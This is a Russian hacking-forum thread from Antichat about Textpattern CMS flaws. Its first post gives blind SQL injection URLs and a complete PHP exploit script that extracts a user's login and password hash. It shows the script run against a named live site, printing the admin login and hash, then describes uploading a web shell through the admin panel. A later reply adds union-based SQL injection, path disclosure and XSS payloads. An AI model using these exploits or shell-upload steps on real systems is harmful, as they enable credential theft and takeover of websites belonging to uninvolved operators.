Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

05.01.2008, 18:40
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
CMS Textpattern
CMS Textpattern
Сборка: TXP-Компания - другие продукты не смотрел, возможно эта же уязвимость есть и в них.
Версия: textpattern 4.0.3rev1228ru - возможно и другие версии
Офф сайт: http://textpattern.ru/
Скачать: http://textpattern.ru/faq/gde-mne-skachat-distributiv-cms - дальше выбираем (2. Если Вам нужен движок для сайта фирмы, то можно скачать готовую к использованию TxP-Компанию ;)
Для поиска сайтов с таким двигом: "TXP-Компания" или "Сайт работает под управлением Textpattern" - но тогда есть шанс попасть на другую сборку.
[Слепые инъекции:]
Код:
http://test1.ru/goods/23+and+substring(version(),1,1)=4
http://test1.ru/news/8+and+substring(version(),1,1)=4
http://test1.ru/faq/26+and+substring(version(),1,1)=4
http://test1.ru/about/12+and+substring(version(),1,1)=4
Таблица с пользователями: txp_users - эта таблица БЕЗ префикса
Если есть префикс то таблица выглядит так: [префикс]txp_users
Тип хеша: mysql
[Написал простенький сплоент (работает медленно (минуты 3-20) т.к. посимвольный брут отнимает время):]
Сплоент выдирет логин и хеш пароля пользователя с заданным id.
PHP код:
<?php
//-----------------------------------------------------------------------------
//----Coded-by-Grey------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//----------------------------Данные для редактирования------------------------
$host = 'test.ru'; // Хост. Сайт без http:// и без / на конце, к примеру test.ru
$port = '80'; // Порт.
$dir = '/'; // Директория где расположен сайт, если сайт расположен в корневом каталоге сайта, то оставить /, к примеру если директория dvig, то вписать /dvig/
$new_id = '8'; // id (номер) существующей новости
$user_id = '1'; // id пользователя чьи логин и хеш пароля нужно выдрать
$pref = ''; // Дополнительный префикс таблиц. Обычно его нету.
//-------Дальше не редактировать-----------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-------Строка содержащая ошибку
$strerror = '404 Not Found';
//-------
//-------Формирование пути
$path = $dir.'news/'.$new_id;
echo("Put: $path\r\n");
//-------
//-------Описание функций
function func_error ($host,$port,$strerror,$path)
{
$s = fsockopen($host,$port) or die ("Oshibka: ne udaetsy soedinitsy s hostom");
$headers = "GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n";
fputs($s, $headers);
$func_error = 0;
while(!feof($s))
{
if(stristr(fgets($s), $strerror) == true)
{
$func_error = 1;
break;
}
}
fclose($s);
return $func_error;
}
function func_zamena ($n)
{
if($n == 1) { $n2 = 48; }
if($n == 2) { $n2 = 49; }
if($n == 3) { $n2 = 50; }
if($n == 4) { $n2 = 51; }
if($n == 5) { $n2 = 52; }
if($n == 6) { $n2 = 53; }
if($n == 7) { $n2 = 54; }
if($n == 8) { $n2 = 55; }
if($n == 9) { $n2 = 56; }
if($n == 10) { $n2 = 57; }
if($n == 11) { $n2 = 97; }
if($n == 12) { $n2 = 98; }
if($n == 13) { $n2 = 99; }
if($n == 14) { $n2 = 100; }
if($n == 15) { $n2 = 101; }
if($n == 16) { $n2 = 102; }
return $n2;
}
//-------
//-------Определение версии БД
$path2 = $path.'+and+substring(version(),1,1)=3';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$version_3 = 1;
}
else
{
$version_3 = 0;
}
$path2 = $path.'+and+substring(version(),1,1)=4';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$version_4 = 1;
}
else
{
$version_4 = 0;
}
$path2 = $path.'+and+substring(version(),1,1)=5';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$version_5 = 1;
}
else
{
$version_5 = 0;
}
if(($version_3 == 1) and ($version_4 == 0) and ($version_5 == 0))
{
echo("Versia BD: 3\r\n");
echo("Dalneishaia rabota ne vozmojna\r\n");
}
if(($version_3 == 0) and ($version_4 == 1) and ($version_5 == 0))
{
echo("Versia BD: 4\r\n");
}
if(($version_3 == 0) and ($version_4 == 0) and ($version_5 == 1))
{
echo("Versia BD: 5\r\n");
}
if(($version_3 == 1) and ($version_4 == 1) and ($version_5 == 1))
{
echo("Oshibka: versia BD ne opredelena");
echo("Dalneishaia rabota ne vozmojna\r\n");
}
//-------
//-------Определение длинны логина и хеша пароля, получение логина и хеша пароля
if(($version_3 == 1) and ($version_4 == 0) and ($version_5 == 0))
{
exit();
}
if(($version_4 == 1) xor ($version_5 == 1))
{
//-------Определение длинны логина
$path2 = $path.'+and+length((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.'))<=20';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$f_dlina = 1;
}
else
{
$f_dlina = 0;
}
if($f_dlina == 0)
{
echo("Dlina logina bolshe 20 simvolov\r\n");
}
else
{
for($i = 1; $i <= 20; $i++)
{
$path2 = $path.'+and+length((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.'))='.$i;
if(func_error($host,$port,$strerror,$path2) == 0)
{
$dlina = $i;
break;
}
}
$dlina_logina = $dlina;
echo("Dlina logina: $dlina_logina\r\n");
}
//-------
//-------Получение логина
$login = '';
for($i = 1; $i <= $dlina_logina; $i++)
{
for($i3 = 33; $i3 <= 126; $i3++)
{
$path2 = $path.'+and+ascii(substring(((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.')),'.$i.',1))='.$i3;
if(func_error($host,$port,$strerror,$path2) == 0)
{
$simvol = $i3;
break;
}
}
$login = $login.chr($simvol);
}
echo("Login: $login\r\n");
//-------
//-------Определение длинны пароля
$path2 = $path.'+and+((length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=16)+or+(length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=40))';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$f_dlina = 1;
}
else
{
$f_dlina = 0;
}
if($f_dlina == 0)
{
echo("Dlina parolya ne opredelena\r\n");
}
else
{
$path2 = $path.'+and+length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=16';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$dlina_parolya = 16;
}
else
{
$dlina_parolya = 40;
}
echo("Dlina parolya: $dlina_parolya\r\n");
}
//-------
$password = '';
for($i = 1; $i <= $dlina_parolya; $i++)
{
for($i3 = 1; $i3 <= 16; $i3++)
{
$path2 = $path.'+and+ascii(lower(substring(((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.')),'.$i.',1)))='.func_zamena($i3);
if(func_error($host,$port,$strerror,$path2) == 0)
{
$simvol = func_zamena($i3);
break;
}
}
$password = $password.chr($simvol);
}
echo("Pass hash: $password\r\n");
}
//-------
?>
[Как юзать сплоент:]
Отредактировать данные и юзать:
c:\php\php.exe c:\sploit.php
Для примера сайт:
http://pek.zp.ua
Вписываем в сплоент следующие:
PHP код:
$host = 'pek.zp.ua';
$port = '80';
$dir = '/';
$new_id = '8';
$user_id = '1';
$pref = '';
И получаем:
Put: /news/8
Versia BD: 4
Dlina logina: 7
Login: alexpek
Dlina parolya: 16
Pass hash: 68adf6224f57b299
[Заливка шелла:]
В админке ( /textpattern/):
1) Выбираем Настройки - Плагины - а дальше правим код (php) и получаем на соответствующей странице шелл.
2) Содежрание - Файлы, заливаем шелл, шелл будет доступен по адресу:
/files/shell.php
Последний раз редактировалось Grey; 05.01.2008 в 20:17..
|
|
|

04.01.2009, 14:18
|
|
Новичок
Регистрация: 03.01.2009
Сообщений: 8
Провел на форуме: 26875
Репутация:
0
|
|
Последний раз редактировалось citycat; 04.01.2009 в 16:07..
|
|
|

01.04.2009, 23:18
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Выдаёт чет eval`d code =_=.Как с этим бороться ?
|
|
|

17.03.2010, 15:42
|
|
Познающий
Регистрация: 21.02.2009
Сообщений: 54
Провел на форуме: 1224548
Репутация:
134
|
|
Эх, увидел CMS до этой темы, всё уже найдено. (
Впрочем, вот что ещё можно добавить к сказанному выше:
SQL-иньекция(обычная)
http://pek.zp.ua/atom/?id=-1+union+select+version%28%29
Вывод в заголовке SQL-иньекции в админке:
Код:
http://txtpattern/textpattern/index.php?event=article&step=edit&ID=-4+union+select+1,2,3,4,5,6,7,8,9,version%28%29,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38
Код:
http://txtpattern/textpattern/index.php?event=link&step=link_edit&id=-2+union+select+1,2,3,4,5,6,7
Код:
http://txtpattern/textpattern/index.php?event=category&step=cat_article_edit&id=-5+union+select+1,2,3,4,5,6,7
Раскрытие путей:
http://pek.zp.ua/?q[]=
Также максимально подробная информация о сайте доступна из админской панели
../textpattern/index.php?event=diag Ну и несколько XSS-ок для админа:
(все в админской панели)
Код:
http://txtpattern/textpattern/index.php?event=log&step=list&page=2%22%3E%3CsCript%3Eprompt%28%27%27%29;%3C/sCript%3E
Код:
http://txtpattern/textpattern/index.php?event=tag&name=image&id=1%27&ext=.gif&alt=&h=1&w=400%22%3C/textarea%3E%3E%3CscRipt%3Eprompt%28%27%27%29;%3C/sCript%3E&type=xhtml
Код:
http://txtpattern/textpattern/index.php?event=page&name=%3Cscript%3Eprompt%28%27%27%29;%3C/sCript%3E
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|